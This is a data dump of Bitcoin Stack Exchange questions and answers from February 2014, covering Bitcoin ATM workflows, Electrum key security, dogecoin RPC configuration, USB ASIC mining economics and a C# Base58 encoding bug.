  <row Id="22610" PostTypeId="2" ParentId="19007" CreationDate="2014-02-24T10:13:41.900" Score="4" Body="&lt;p&gt;I can't talk about other ATMs but in BTCPoint (The Bticoin ATM of Barcelona) works the following way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The user want to SELL bitcoin&lt;/li&gt;&#xA;&lt;li&gt;The bitcoin machine provides a fresh new public address for the transfer&lt;/li&gt;&#xA;&lt;li&gt;The user sends the bitcoins to that address&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin network detects the transfer sent and issues a ticket with a confirmation code&lt;/li&gt;&#xA;&lt;li&gt;The user waits for some minutes while the transaction is confirmed (the ATM can be used by other people)&lt;/li&gt;&#xA;&lt;li&gt;After some confirmations the user scans the &quot;ticket with the confirmation code&quot; in the QR reader.&lt;/li&gt;&#xA;&lt;li&gt;The ATM validates the confirmation and gives money out if everything is valid.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Check out the operations in: &lt;a href=&quot;http://www.btcpoint.org&quot; rel=&quot;nofollow&quot;&gt;http://www.btcpoint.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some extra security (camera recording the confirmation code in step 4.) the machine can be configured so that a PIN code is inserted. This PIN code is then required in step 6.&lt;/p&gt;&#xA;" OwnerUserId="13815" LastEditorUserId="13815" LastEditDate="2014-03-03T17:39:11.787" LastActivityDate="2014-03-03T17:39:11.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22611" PostTypeId="1" CreationDate="2014-02-24T11:15:15.253" Score="6" ViewCount="890" Body="&lt;p&gt;Electrum seems very user friendly, thin and convenient, but is it cryptographically secure?  One of the ways to attack any cryptographic system is to exploit weaknesses in the key generation algorithm.  Electrum uses a deterministic algorithm based on a pseudo-random seed to derive the public and private keys.  Is this a cryptographically secure way of generating keys?&lt;/p&gt;&#xA;" OwnerUserId="13816" LastActivityDate="2016-09-27T16:41:01.030" Title="Is Electrum Cryptographically Secure?" Tags="|electrum|cryptography|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22612" PostTypeId="1" CreationDate="2014-02-24T12:48:45.600" Score="-1" ViewCount="165" Body="&lt;p&gt;I just compiled dogecoin-qt using the original source, and edited it to generate new genesis block, because i want to create new coin for educational purpose. It is working just fine, and without an error, but whenever i try to crate a conf file in %appdata%\dogecoin\dogecoin.conf with this content&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rpcuser=abc&#xA;  rpcpassword=abcd&#xA;  rpcport=22565&#xA;  server=1&#xA;  daemon=1&#xA;  listen=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will say &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;To use the -server options you must setup a secure rpcpassword in configuration file at xxxxx\Dogecoin\dogecoin.conf rpcuser=xx&#xA;  rpcpass=xxxxxxxxx&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this an error that should only appear if i used server=1 in conf file, but dont provide rpcuser and pass. but i am already providing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for someones help to get me to understand what I am doing wrong. And sorry if this doesn't belong here.&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2014-02-25T06:00:27.530" Title="Compiled and modified source wont work with server=1" Tags="|bitcoin-core|dogecoin|" AnswerCount="1" CommentCount="9" ClosedDate="2014-03-19T00:42:04.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="22613" PostTypeId="1" CreationDate="2014-02-24T12:59:33.030" Score="6" ViewCount="678" Body="&lt;p&gt;Let's say you have person A who wants to pay person B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common way for B to communicate his/her address to A is by QR code or email or some such non secure method either of which could be substituted for another address in a man-in-the-middle attack, by person C. In other words C contrives a situation where they can replace B's address with their own, thereby making A pay C instead of B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be even harder to prevent if A and B were continents apart. Not only would A not be able to see B or perhaps even talk to them, but they would also have some difficulty carrying out even basic checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to stop a man-in-the-middle attack when communicating addresses in this sort of circumstance?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="2306" LastEditDate="2014-09-12T16:26:34.767" LastActivityDate="2014-09-12T16:26:34.767" Title="Is there a way to stop a man-in-the-middle attack when communicating addresses?" Tags="|security|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22614" PostTypeId="2" ParentId="22613" CreationDate="2014-02-24T13:24:52.767" Score="4" Body="&lt;p&gt;No. That is impossible if A and B have never communicated through a secure channel to exchange keys before, unless you are willing to trust another user, for example a user, D, you know and have safely exchanged keys before, that says it trust users B address, creating &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_of_trust&quot; rel=&quot;nofollow&quot;&gt;a web of trust&lt;/a&gt; or less preferable a &lt;a href=&quot;http://en.wikipedia.org/wiki/Certificate_authority&quot; rel=&quot;nofollow&quot;&gt;certificate authority&lt;/a&gt;. This is a known and significant issue in public key exchange.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-02-26T10:15:29.433" LastActivityDate="2014-02-26T10:15:29.433" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22615" PostTypeId="2" ParentId="22611" CreationDate="2014-02-24T14:32:29.347" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The seed generated by Electrum is a 128-bit random number. It is encoded as a sequence of 12 words, for the purpose of memorization. However, it is important to understand that it has 128-bits of entropy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=153990.msg1632127#msg1632127&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=153990.msg1632127#msg1632127&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/faq.html#seed&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/faq.html#seed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2014-02-24T14:32:29.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22616" PostTypeId="2" ParentId="22606" CreationDate="2014-02-24T14:37:53.557" Score="15" Body="&lt;p&gt;There's no Expert Mode anymore. The Gap Limit has been hidden from the UI as it was unnecessarily complicated for normal users, and it is not a good method for merchants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to change the gap limit, enter this in the Console tab and restart the client (Tested with Electrum 3.0):&#xA;&lt;code&gt;&#xA;wallet.change_gap_limit(10)&#xA;wallet.storage.write()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view/verify the current gap limit, type the follwing in the console:&lt;br&gt;&#xA;&lt;code&gt;wallet.gap_limit&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="26481" LastEditDate="2018-01-08T09:51:31.323" LastActivityDate="2018-01-08T09:51:31.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22617" PostTypeId="1" AcceptedAnswerId="23054" CreationDate="2014-02-24T14:46:03.323" Score="0" ViewCount="141" Body="&lt;p&gt;I want to create a game where users can win Bitcoins playing my games I created or perhaps other online games. What APIs do similar applications use to achieve this? how do they host the Bitcoins? do they use their own hosted wallet, bitpay? Bitcoin escrow?&lt;/p&gt;&#xA;" OwnerUserId="13818" LastActivityDate="2014-03-04T23:00:08.813" Title="Bitcoin online game integration" Tags="|gaming|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22618" PostTypeId="2" ParentId="20129" CreationDate="2014-02-24T14:54:57.663" Score="0" Body="&lt;p&gt;For either machine securely attach them to the surface they are sitting on. Bolt to the counter in a manner that can not be disassembled without opening the machine. For flow mounted machines secure to a concrete floor with large anchor bolts into the floor.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastActivityDate="2014-02-24T14:54:57.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22619" PostTypeId="2" ParentId="22617" CreationDate="2014-02-24T15:18:22.317" Score="1" Body="&lt;p&gt;The bitcoin software has it's own API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, they run the bitcoind software and use RPC-JSON as the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt; changed according to comment. Other implementations of Bitcoin also have their own APIs &lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="5157" LastEditDate="2014-03-04T19:22:05.400" LastActivityDate="2014-03-04T19:22:05.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22620" PostTypeId="2" ParentId="22597" CreationDate="2014-02-24T15:24:37.223" Score="5" Body="&lt;p&gt;Most clients will return change to a newly-generated change address, which is not the same as the address on the paper wallet.  So if you spend a partial amount, the rest of the coins will go to a change address in your client and the wallet will be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned using Blockchain.info as your wallet.  The Blockchain.info wallet behaves differently than most wallets.  When you spend coins from a Blockchain address, the change goes back into the same address that you spent from.  That's why your change remains in the paper wallet.  But as far as I know, Blockchain.info is the only wallet software that works that way.  If you were using any other client, you would have run into the change address problem by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's generally not good practice to reuse addresses, because it makes your financial activity easier to track.  And it's not a good idea to reuse a paper wallet.  Once the private key has touched an Internet-connected machine, it's not necessarily safe anymore.  It's possible that some malware on your phone might steal the key and empty your wallet.  The whole point of a paper wallet is to keep your private key from touching the Internet.  Once you've spent coins from a paper wallet, you really shouldn't reuse it.  You should move the rest of the coins to a new paper wallet.&lt;/p&gt;&#xA;" OwnerUserId="13145" LastActivityDate="2014-02-24T15:24:37.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22621" PostTypeId="2" ParentId="22500" CreationDate="2014-02-24T16:13:51.127" Score="5" Body="&lt;p&gt;There are a couple available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/znort987/blockparser&lt;/a&gt;&#xA;Which is c++ based and has some basic analysis functions already written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codesuppository.blogspot.com/2014/01/how-to-parse-bitcoin-blockchain.html&quot; rel=&quot;noreferrer&quot;&gt;http://codesuppository.blogspot.com/2014/01/how-to-parse-bitcoin-blockchain.html&lt;/a&gt;&#xA;describes the basics of parsing the block chain and links to code written by the author of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like most projects don't parse it directly and use the RPC interface of the main bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="13821" LastActivityDate="2014-02-24T16:13:51.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22622" PostTypeId="2" ParentId="12520" CreationDate="2014-02-24T17:53:24.047" Score="1" Body="&lt;p&gt;Realizing I'm very tardy to this post, I'd like to throw out this update for those currently googling this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I purchased 4 erupters back in November 2013- just to run beside my 4x5970s and 3x7950s, it was an experiment and at the time I was pretty new to mining in general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage: &#xA;4-erupters with 92mm cooling fan and powered-USB hub. I've had a constant 1.3-1.4Gh/s with these USB erupters, peaking at 2.2Gh/s (but that's an anomaly and not constant) I use bfgminer and set them up to run @bitminter. They're super easy to use once you get the drivers set up and understand how to mine. I chose mining @bitminter because it seamlessly allows you to mine namecoin through the same port/pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't use bitminter's flash miner if you want to mine alt coins with your gpus while going after bitcoin with the ASIC cards (it doesn't play nice if you have wallets running or cgminer working and you'll get a lot of rejects)- but by using a command line miner for sha-256, I can also run guiminer-scrypt or cgminer to hash out alt coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion:&#xA;So is it all worth it? Well.... No. With the 4 erupters running 24/7, @2.5W/ea I use about $0.02/USD of electricity while generating on average $0.12-$0.16 in bitcoin per day. In addition to the BTC, I generated about $0.03 in NMC. Altogether, a daily profit of about $0.15 per day USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the breakdown as of today:&#xA;4xUSB erupters @$14.87/ea + $42.94 (USB Hub &amp;amp; Fan) + S&amp;amp;H = $106.16&#xA;Electricity (@$0.0616/kWH) $0.03/day x 98 days = $2.94&#xA;Total Expenditures: $109.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC Generated: .03048521&#xA;NMC Generated: .09160374 (currently 0.00053247 BTC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based off of the current NMC exchange rate, my erupters have generated a total of 0.03101768-BTC in under 100 days. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the current BTC/USD exchange rate of $578.86, I've been able to generate $17.96 USD. So after nearly 100 days of mining with the block erupters, &#xA;I'm sitting at &amp;lt;-$91.14&gt;USD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck to those who still try the USB-ASIC route, I'll be mining DOGE and MINT with the cool kids :D&lt;/p&gt;&#xA;" OwnerUserId="13824" LastActivityDate="2014-02-24T17:53:24.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22624" PostTypeId="2" ParentId="12520" CreationDate="2014-02-24T18:36:41.877" Score="0" Body="&lt;p&gt;Pretty much the only real hope is bitcoin going up in price, that is what I'm basing my mining on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the assumption that it goes way up in price there are two options: 1) buy bitcoin, 2) but a miner. In the first instance you will have, 1x your money. In the second instance you will have the 1x plus you will still be generation more coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is all really a gamble on bitcoin going up. If it goes down the in either instance there is a loss. I am prepared to loose all in the hopes that bitcoin will survive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess: If bitcoin survives another year, and I think it will, it will be substantially more valuable,&lt;/p&gt;&#xA;" OwnerUserId="10577" LastEditorUserId="10577" LastEditDate="2014-02-24T18:55:38.973" LastActivityDate="2014-02-24T18:55:38.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22625" PostTypeId="1" CreationDate="2014-02-24T20:25:17.647" Score="-2" ViewCount="294" Body="&lt;p&gt;Is there someone under 18 actively using Bitcoin? Could you describe your experience? Have you ever faced age restrictions using it like there are with the real world money? &#xA;For those are over 18 perhaps you have some younger friends stories?&lt;/p&gt;&#xA;" OwnerUserId="13830" LastEditorUserId="5406" LastEditDate="2014-05-02T16:59:20.030" LastActivityDate="2014-05-02T16:59:20.030" Title="Bitcoin usage for underage children" Tags="|community|" AnswerCount="2" CommentCount="1" ClosedDate="2014-02-24T23:05:12.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="22626" PostTypeId="1" CreationDate="2014-02-24T20:26:51.907" Score="-1" ViewCount="162" Body="&lt;p&gt;For the past two months I have been mining, without incident, using the stratrum proxie on my block cubes. I run the proxie, alternating, from two different systems so I don't believe anything has changed on the PC side, or I would expect one of them to still work. The only thing that I have done, that is different, is try to change pools to a PPC pool to diversify my earning. Since I attempted to change pools I am no longer able to mine on any pool (including BTCGuild, which I have never had a problem with before. I am receiving error messages, that I cannot decipher and I'm not sure what to do about this. Has anyone else dealt with this problem before, and if so did you find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BAgnL.png&quot; alt=&quot;here is an image of the errors I am receiving&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFam4.png&quot; alt=&quot;and one more&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any suggestion, I will be forever in your debt. I am at a complete loss, as to how to solve this problem. Thank you for taking the time to look.&lt;/p&gt;&#xA;" OwnerUserId="13829" LastEditorUserId="5406" LastEditDate="2016-04-24T09:57:23.770" LastActivityDate="2016-04-24T09:57:23.770" Title="Previously functional Bock Erupter Cubes suddenly throwing errors and will not mine" Tags="|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22627" PostTypeId="2" ParentId="22626" CreationDate="2014-02-24T20:34:02.573" Score="0" Body="&lt;p&gt;Is there a chance the IP address of the proxy changed? Added an Android WiFi device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also post to &quot;Dogie's Comprehensive ASICMiner Cube Setup&quot; on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=352658.1320&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt;, that is ASICMiner Block Erupter Cube specific with over 1300 posts.&lt;/p&gt;&#xA;" OwnerUserId="10577" LastActivityDate="2014-02-24T20:34:02.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22629" PostTypeId="2" ParentId="22625" CreationDate="2014-02-24T21:57:50.073" Score="0" Body="&lt;p&gt;With regard to kids under 18 using Bitcoin, here's one example &lt;a href=&quot;http://milkroad.org/&quot; rel=&quot;nofollow&quot;&gt;http://milkroad.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13835" LastActivityDate="2014-02-24T21:57:50.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22630" PostTypeId="1" CreationDate="2014-02-24T22:06:28.723" Score="-1" ViewCount="320" Body="&lt;p&gt;I've installed bitcore.io on a folder for my nodejs, using the npm command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;npm install bitcore&#xA;npm install classtool&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, I tried to run an example code, the one is shown at their website. I saved it as &quot;test.js&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var Address = require('bitcore/Address').class();&#xA;&#xA;var addr = new Address(&quot;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot;);&#xA;&#xA;try {&#xA;    addr.validate();&#xA;    console.log(&quot;Address is valid.&quot;);&#xA;} catch(e) {&#xA;    console.log(addr.data + &quot; is not a valid address. &quot; + e);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myuser@ownbox:~/bitproj$ node test.js&#xA;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is not a valid address. RangeError: start &amp;gt; end&#xA;myuser@ownbox:~/bitproj$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing? I've been googling for hours, for a solution. The address indeed does exist, I've checked it with blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="4535" LastActivityDate="2014-04-27T05:19:00.780" Title="Anybody using bitcore.io? I can't seem to make it work properly" Tags="|json-rpc|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22631" PostTypeId="2" ParentId="22625" CreationDate="2014-02-24T22:24:36.957" Score="4" Body="&lt;p&gt;I'm 18 now but I used it while under 18. I faced no restriction. It was actually extremely helpful to me since I needed to buy some domains and hosting and credit cards, even pre paid ones, are illegal in my country for those under the age of 18. So, my experience was quite the opposite: I faced less restriction by using Bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="13836" LastActivityDate="2014-02-24T22:24:36.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22635" PostTypeId="1" AcceptedAnswerId="24944" CreationDate="2014-02-25T01:50:07.130" Score="-1" ViewCount="1314" Body="&lt;p&gt;I've decided to give 42coin a shot with CPU mining but the CPU miner that I've found doesn't specify how to configure it. It DOES give you the parameters though. I'm not sure if I should add a .bat file or a .conf or their's some kind of other way of configuring it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miner is here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55038.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=55038.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13192" LastEditorUserId="5406" LastEditDate="2016-04-25T20:23:06.350" LastActivityDate="2016-04-25T20:23:06.350" Title="Configure CPU Scrypt miner" Tags="|miner-configuration|scrypt|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22636" PostTypeId="1" AcceptedAnswerId="22637" CreationDate="2014-02-25T02:04:03.053" Score="2" ViewCount="1776" Body="&lt;p&gt;My understanding is that Base58Checked is always 34 bytes long, and isn't going to be less than 34 bytes even if the first or last bytes of the RipeMD are zero.  If this statement isn't true, then none of the following question matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the Base58Checked address be for the following public key?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0414C7AB38D5CC0A39B3BF5F970C572736904D40A5879BBB05BBE16911D7F35DD3E25525877587BF91EE801393FACDED26FAFA173E457F5961BA11F602CC08FE5A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gobittest.appspot.com/Address&quot; rel=&quot;nofollow&quot;&gt;This test website&lt;/a&gt; says it should be &lt;code&gt;1vwTLMCesc1vijZbscYfnr7naV9MEy8dS&lt;/code&gt;, however, when I look at the logic below, I think it should be &lt;code&gt;11vwTLMCesc1vijZbscYfnr7naV9MEy8dS&lt;/code&gt;  (notice the second leading one)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this loop, the value &lt;code&gt;numberToShorten&lt;/code&gt; decrements as I figure out what is zero for the last few rounds of the conversion.  (e.g. &quot;1&quot; for a value of zero, and &quot;A&quot; for a remainder of nine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following uncompressed public key is an example of one that leaves a zero for me to deal with when encoding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0414C7AB38D5CC0A39B3BF5F970C572736904D40A5879BBB05BBE16911D7F35DD3E25525877587BF91EE801393FACDED26FAFA173E457F5961BA11F602CC08FE5A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my C# code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public static String sBase58Alphabet = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;;&#xA;    public static String EncodeBase58(BigInteger numberToShorten)&#xA;    {&#xA;        // WARNING: Beware of bignumber implementations that clip leading 0x00 bytes, or prepend extra 0x00 &#xA;        // bytes to indicate sign - your code must handle these cases properly or else you may generate valid-looking&#xA;        // addresses which can be sent to, but cannot be spent from - which would lead to the permanent loss of coins.)&#xA;&#xA;        const int sizeWalletImportFormat = 51;&#xA;          BigInteger base58AlphabetLength = (BigInteger)sBase58Alphabet.Length;&#xA;&#xA;        char[] result = new char[34];&#xA;&#xA;        int i = 0;&#xA;        while (result.Length &amp;gt; i &amp;amp;&amp;amp; numberToShorten &amp;gt;= 0)&#xA;         { &#xA;            var lNumberRemainder = BigInteger.Remainder(numberToShorten, base58AlphabetLength);&#xA;            result[result.Length - 1 - i] = sBase58Alphabet[(int)lNumberRemainder];&#xA;&#xA;            if (i == 31 &amp;amp;&amp;amp; numberToShorten == 0)&#xA;                Console.WriteLine(&quot;found one&quot;);&#xA;&#xA;            //Console.WriteLine(&quot;i = &quot; + i);&#xA;            //Console.WriteLine(&quot;numberToShorten= &quot; + numberToShorten + &quot; (Divide this by 58 to get the value below)&quot;);&#xA;            //Console.WriteLine(&quot;lNumberRemainder = &quot; + lNumberRemainder + &quot; (Get this position in the Base58Array and append that character)&quot;);&#xA;            //Console.WriteLine(&quot;result = &quot; + new string(result));&#xA;&#xA;            if (numberToShorten == 0)&#xA;            {&#xA;                if (i != 33)&#xA;                {&#xA;                    // Debug&#xA;                    Console.WriteLine(&quot;i = &quot; + i);&#xA;                    break;&#xA;                }&#xA;                break;&#xA;            } &#xA;&#xA;            numberToShorten = numberToShorten / base58AlphabetLength;&#xA;            i++;&#xA;        }&#xA;        var ret = new string(result, 33 - i, result.Length - (33 - i));&#xA;&#xA;        return ret;&#xA;    }&#xA;&#xA;    public static DecodedBase58Result DecodeBase58(String base58StringToExpand)&#xA;    { &#xA;        DecodedBase58Result ret = new DecodedBase58Result();&#xA;&#xA;        BigInteger base58AlphabetLength = (BigInteger)sBase58Alphabet.Length;&#xA;&#xA;        BigInteger numberToExtend = BigInteger.Zero;&#xA;        var charsToDecode = base58StringToExpand.ToCharArray();&#xA;        for (int decodePosition = 0; decodePosition &amp;lt;= charsToDecode.Length - 1; decodePosition++)&#xA;        {&#xA;            char sCurrentCharacter = charsToDecode[decodePosition];&#xA;            int index = sBase58Alphabet.IndexOf(sCurrentCharacter);&#xA;            if (index == -1)&#xA;                throw new Exception(&quot;Not a base58 address, &quot; + sCurrentCharacter + &quot; isn't a valid character.&quot;);&#xA;&#xA;            numberToExtend = numberToExtend * base58AlphabetLength;&#xA;            numberToExtend = numberToExtend + index;&#xA;&#xA;            //Console.WriteLine(&quot; i = &quot; + (base58StringToExpand.Length - decodePosition));&#xA;            //Console.WriteLine(&quot; number = &quot; + numberToExtend);&#xA;            //Console.WriteLine(&quot; Result = &quot; + ret);&#xA;        }&#xA;&#xA;        ret.BigInt = numberToExtend;&#xA;        return ret;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The truncated character-by-character building of the Base58 address is below.  The problem lies where &lt;code&gt;i=32&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i = 27&#xA;numberToShorten= 610398922 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 20 (Get this position in the Base58Array and append that character)&#xA;result =       MCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 28&#xA;numberToShorten= 10524119 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 19 (Get this position in the Base58Array and append that character)&#xA;result =      LMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 29&#xA;numberToShorten= 181450 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 26 (Get this position in the Base58Array and append that character)&#xA;result =     TLMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 30&#xA;numberToShorten= 3128 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 54 (Get this position in the Base58Array and append that character)&#xA;result =    wTLMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 31&#xA;numberToShorten= 53 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 53 (Get this position in the Base58Array and append that character)&#xA;result =   vwTLMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 32&#xA;numberToShorten= 0 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 0 (Get this position in the Base58Array and append that character)&#xA;result =  1vwTLMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&#xA;i = 33&#xA;numberToShorten= 0 (Divide this by 58 to get the value below)&#xA;lNumberRemainder = 0 (Get this position in the Base58Array and append that character)&#xA;result = 11vwTLMCesc1vijZbscYfnr7naV9MEy8dS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-25T05:12:35.723" LastActivityDate="2018-09-17T16:03:03.057" Title="What is the correct Base58 encoding for this uncompressed Public Key RipeMD hash with a zeros in bits 31, 32, or 33?" Tags="|development|base58check|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22637" PostTypeId="2" ParentId="22636" CreationDate="2014-02-25T02:29:24.127" Score="1" Body="&lt;p&gt;I think you have a fundamental misunderstanding of Base58 encoding. Base58checked is not fixed length; its length depends on the number of leading zero bytes in the input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should only be one leading &quot;1&quot; that signifies &quot;main net&quot; address type. A second leading &quot;1&quot; would indicate a whole leading zero byte (0x00) in the pubkey hash itself, which is not applicable in this case because your sha256+ripemd-160 is 0a33807d0764e0bc71677fbef234d4989d0c198e. It only has a leading zero nibble.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-02-25T04:02:48.330" LastActivityDate="2014-02-25T04:02:48.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22639" PostTypeId="2" ParentId="22442" CreationDate="2014-02-25T05:56:59.730" Score="0" Body="&lt;p&gt;I think the problem is with version 1.5  of dogecoin.I used&#xA;rpcpassword=DLKKWE93203909238dkkKKeowxmIOw0232lsakwL02k&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to solve the problem. Change the password to whatever you want, just use lowercase, upper case and numbers, it should fix the problem&lt;/p&gt;&#xA;" OwnerUserId="13817" LastEditorUserId="13817" LastEditDate="2014-02-26T13:16:20.933" LastActivityDate="2014-02-26T13:16:20.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
